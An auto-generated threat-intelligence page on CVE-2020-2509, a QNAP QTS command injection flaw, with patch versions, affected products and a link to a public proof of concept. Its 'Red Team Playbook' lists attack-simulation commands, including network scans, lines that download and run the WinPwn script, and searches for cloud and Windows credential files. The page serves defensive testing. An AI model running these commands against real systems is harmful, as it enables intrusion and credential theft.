CVE-2020-2509
Overview
This vulnerability is a command injection flaw arising from improper sanitization of user-supplied input within QNAP's QTS and QuTS hero operating systems. The root cause lies in the failure to adequately validate parameters passed to system-level command execution functions, allowing arbitrary command injection. The affected components include various QTS builds prior to specified fixed versions, where input handling in management interfaces or APIs is insufficiently secured against injection attacks.
Vulnerability Description
A command injection vulnerability has been reported to affect QTS and QuTS hero. If exploited, this vulnerability allows attackers to execute arbitrary commands in a compromised application. We have already fixed this vulnerability in the following versions: QTS 4.5.2.1566 Build 20210202 and later QTS 4.5.1.1495 Build 20201123 and later QTS 4.3.6.1620 Build 20210322 and later QTS 4.3.4.1632 Build 20210324 and later QTS 4.3.3.1624 Build 20210416 and later QTS 4.2.6 Build 20210327 and later QuTS hero h4.5.1.1491 build 20201119 and later
Impact
An unauthenticated attacker can execute arbitrary system commands on affected QNAP devices, gaining full control over the operating system. This enables unauthorized access to sensitive data, manipulation or deletion of files, installation of persistent malware, and disruption of device availability. The lack of authentication requirements significantly lowers the barrier for exploitation, increasing the risk of widespread compromise and lateral movement within networks relying on vulnerable QTS or QuTS hero systems.
Solution
QNAP has released fixed versions addressing this vulnerability: QTS 4.5.2.1566 Build 20210202 and later, QTS 4.5.1.1495 Build 20201123 and later, QTS 4.3.6.1620 Build 20210322 and later, QTS 4.3.4.1632 Build 20210324 and later, QTS 4.3.3.1624 Build 20210416 and later, QTS 4.2.6 Build 20210327 and later, and QuTS hero h4.5.1.1491 build 20201119 and later. Administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at https://www.qnap.com/en/security-advisory/qsa-21-05.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical command injection vulnerability has been identified in specific versions of QTS and QuTS hero, which are operating systems used in QNAP network-attached storage devices. This vulnerability arises from improper validation of user-supplied input, allowing attackers to execute arbitrary commands on the underlying operating system. The flaw enables an attacker to manipulate the application to run commands that could compromise the integrity, confidentiality, and availability of the system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating that successful exploitation could lead to significant security breaches.
Attack vectors for this vulnerability are particularly concerning due to their potential for exploitation via remote access. An attacker could leverage the command injection flaw by sending crafted input to the affected application, which would be processed without adequate sanitization. This could occur through various interfaces, including web-based management consoles or APIs. Once the attacker gains control, they could execute commands that facilitate further attacks, such as installing malware, exfiltrating sensitive data, or even launching denial-of-service attacks against the device or the network it operates within. The simplicity of exploiting this vulnerability makes it a prime target for malicious actors.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on QNAP devices for data storage and management. Successful exploitation could lead to unauthorized access to sensitive business data, resulting in data breaches that could incur substantial financial losses, legal repercussions, and damage to reputation. Additionally, the ability to execute arbitrary commands could allow attackers to pivot to other systems within the network, escalating their access and potentially compromising additional resources. For businesses, the risk extends beyond immediate financial implications; it also includes the long-term effects of diminished trust from clients and partners.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize updating their QNAP devices to the latest versions that have addressed the flaw. Regular patch management is crucial, as it ensures that known vulnerabilities are remediated promptly. Additionally, implementing network segmentation can help contain any potential breaches, limiting an attacker's ability to move laterally within the network. Organizations should also employ intrusion detection systems (IDS) to monitor for unusual activity that may indicate exploitation attempts. Regular security audits and vulnerability assessments can further enhance an organization's security posture, allowing for proactive identification and remediation of potential weaknesses.
In conclusion, the command injection vulnerability affecting QTS and QuTS hero presents a significant threat to organizations utilizing QNAP devices. The potential for arbitrary command execution poses severe risks, including data breaches and operational disruptions. A comprehensive approach to detection and mitigation, including timely updates, network segmentation, and continuous monitoring, is essential to safeguard against exploitation. As cyber threats continue to evolve, organizations must remain vigilant and proactive in their cybersecurity strategies to protect their assets and maintain trust with stakeholders.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2020-2509, with new triggers emerging after a period of dormancy. Despite this increase in detection events, the Exploit Prediction Scoring System (EPSS) score for this vulnerability has declined significantly, indicating a reduced likelihood of widespread exploitation in the near term. This divergence suggests that while opportunistic scanning or probing may be intensifying, the maturity or availability of reliable exploit tools remains limited. The appearance of a new proof-of-concept exploit repository, although not definitively linked to CVE-2020-2509, underscores ongoing attacker interest in QNAP device vulnerabilities and warrants continued monitoring. For defenders, this evolving landscape highlights the importance of maintaining vigilance even as predictive exploit risk metrics decrease, as increased reconnaissance activity can precede more sophisticated attacks. Overall, the threat level remains critical due to the vulnerability’s inherent severity, but the immediate risk of large-scale exploitation appears to have moderated.
Affected Products (86)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Qnap | Qts | All |
cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
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Qnap | Qts | All |
cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
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Qnap | Qts | All |
cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:-:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:build_20170517:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:build_20190322:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:build_20190730:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:build_20190921:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:build_20191107:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:build_20200109:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:build_20200421:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:build_20200611:*:*:*:*:*:*
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Qnap | Qts | 4.2.6 |
cpe:2.3:o:qnap:qts:4.2.6:build_20200821:*:*:*:*:*:*
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Qnap | Qts | 4.3.3.0174 |
cpe:2.3:o:qnap:qts:4.3.3.0174:*:*:*:*:*:*:*
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Qnap | Qts | 4.3.3.0868 |
cpe:2.3:o:qnap:qts:4.3.3.0868:*:*:*:*:*:*:*
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Qnap | Qts | 4.3.3.0998 |
cpe:2.3:o:qnap:qts:4.3.3.0998:*:*:*:*:*:*:*
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Qnap | Qts | 4.3.3.1051 |
cpe:2.3:o:qnap:qts:4.3.3.1051:*:*:*:*:*:*:*
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Qnap | Qts | 4.3.3.1098 |
cpe:2.3:o:qnap:qts:4.3.3.1098:*:*:*:*:*:*:*
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Qnap | Qts | 4.3.3.1161 |
cpe:2.3:o:qnap:qts:4.3.3.1161:*:*:*:*:*:*:*
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Qnap | Qts | 4.3.3.1252 |
cpe:2.3:o:qnap:qts:4.3.3.1252:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
jbaines-r7/overkill
QNAP N-Day (Probably not CVE-2020-2509)
|
jbaines-r7 | 14 | 10 | 2022-07-27 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-2509 |
| qnap.com |
GitHub CVE
x_refsource_MISC
|
https://www.qnap.com/en/security-advisory/qsa-21-05 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-2509 |